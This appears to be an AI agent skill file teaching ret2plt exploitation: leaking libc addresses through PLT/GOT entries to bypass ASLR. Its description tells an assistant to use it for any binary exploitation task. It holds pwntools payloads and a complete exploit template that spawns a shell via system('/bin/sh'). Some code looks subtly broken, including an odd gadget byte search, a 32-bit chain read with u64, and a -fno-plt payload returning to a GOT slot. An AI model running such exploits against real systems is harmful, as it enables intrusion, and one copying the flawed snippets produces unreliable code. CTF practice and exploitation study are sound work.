| name | ret2plt-exploit |
| description | How to perform ret2plt (return-to-PLT) attacks to bypass ASLR by leaking libc addresses. Use this skill whenever the user mentions ASLR bypass, PLT/GOT exploitation, libc leaks, ret2plt, return-to-PLT, or needs to leak function addresses from libc to calculate base addresses. Also use when dealing with binary exploitation challenges involving stack overflows, dynamic binaries, or when the user needs to chain PLT calls to leak GOT entries. Make sure to use this skill for any CTF challenge or binary exploitation task involving ASLR, PIE, or libc address resolution. |
Ret2PLT Exploitation Guide
This skill helps you perform ret2plt (return-to-PLT) attacks to bypass ASLR by leaking addresses from the Procedure Linkage Table (PLT) and Global Offset Table (GOT).
What is Ret2PLT?
Ret2plt is a technique to leak an address from a function in the PLT to bypass ASLR. When you leak the address of a function like puts from libc, you can:
- Calculate the base address of libc
- Compute offsets to other functions like
system, exit, etc.
- Build a full exploit to gain shell access
When to Use This Technique
- Binary has ASLR enabled but no PIE (or you've already bypassed PIE)
- You have a stack overflow or similar memory corruption vulnerability
- The binary has dynamic linking (uses libc functions)
- You need to leak libc addresses to calculate offsets
Core Concept
The key insight: when you call puts with the address of puts from the GOT, the GOT entry will contain the exact runtime address of puts in memory. This lets you calculate the libc base.
Basic Payload Structure
32-bit Ret2PLT
from pwn import *
elf = context.binary = ELF('./vuln')
libc = elf.libc
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
64-bit Ret2PLT
from pwn import *
elf = context.binary = ELF('./vuln')
libc = elf.libc
POP_RDI = next(elf.search(b'\x58\x5f\x89\xf0'))
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main']
)
Complete Exploit Template
from pwn import *
elf = context.binary = ELF('./vuln')
libc = elf.libc
p = process()
p.recvuntil(b'prompt>')
payload = flat(
b'A' * 32,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u64(p.recv(8).ljust(8, b'\x00'))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
b'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
Modern Considerations
-fno-plt Builds
Modern distributions often compile with -fno-plt, which replaces call foo@plt with call [foo@got]. If there's no PLT stub:
payload = flat(
padding,
elf.got['foo']
)
Full RELRO (-Wl,-z,now)
With full RELRO, the GOT is read-only, but ret2plt still works for leaks because you only read the GOT slot. If the symbol was never called, your first ret2plt will perform lazy binding and then print the resolved slot.
ASLR + PIE
If PIE is enabled, you must first leak a code pointer to compute the PIE base:
- Leak a saved return address, function pointer, or
.plt entry
- Calculate PIE base
- Rebase all PLT/GOT addresses
- Build the ret2plt chain with correct addresses
AArch64 with BTI/PAC
On ARM64 with Branch Target Identification:
- PLT entries are valid BTI landing pads (
bti c)
- Prefer jumping into PLT stubs or BTI-annotated gadgets
- Avoid jumping directly to libc gadgets without BTI (causes
BRK/PAC failures)
Quick Resolution Helper
If the target function is not yet resolved and you need a leak in one shot, chain the PLT call twice:
payload = flat(
padding,
elf.plt['foo'],
elf.plt['foo'],
elf.got['foo']
)
Helper Scripts
Generate Ret2PLT Payload
Use scripts/generate_ret2plt_payload.py to automatically generate payloads:
python scripts/generate_ret2plt_payload.py \
--binary ./vuln \
--padding 32 \
--arch 64 \
--output payload.py
Analyze Binary Protections
Use scripts/analyze_binary_protections.py to check if ret2plt is viable:
python scripts/analyze_binary_protections.py ./vuln
This checks:
- ASLR status
- PIE status
- RELRO status
- Canary presence
- NX/DEP status
Common Pitfalls
- Wrong padding: Use
cyclic or pattern_create to find exact offset
- Wrong architecture: Use
u32 for 32-bit, u64 for 64-bit
- Missing recvlines: Consume all output after leak before sending second payload
- PIE not bypassed: If PIE is enabled, you need to leak PIE base first
- Wrong libc: Make sure you're using the correct libc version
Debugging Tips
p = gdb.debug('./vuln', '''
break *main+100
continue
''')
context.log_level = 'debug'
References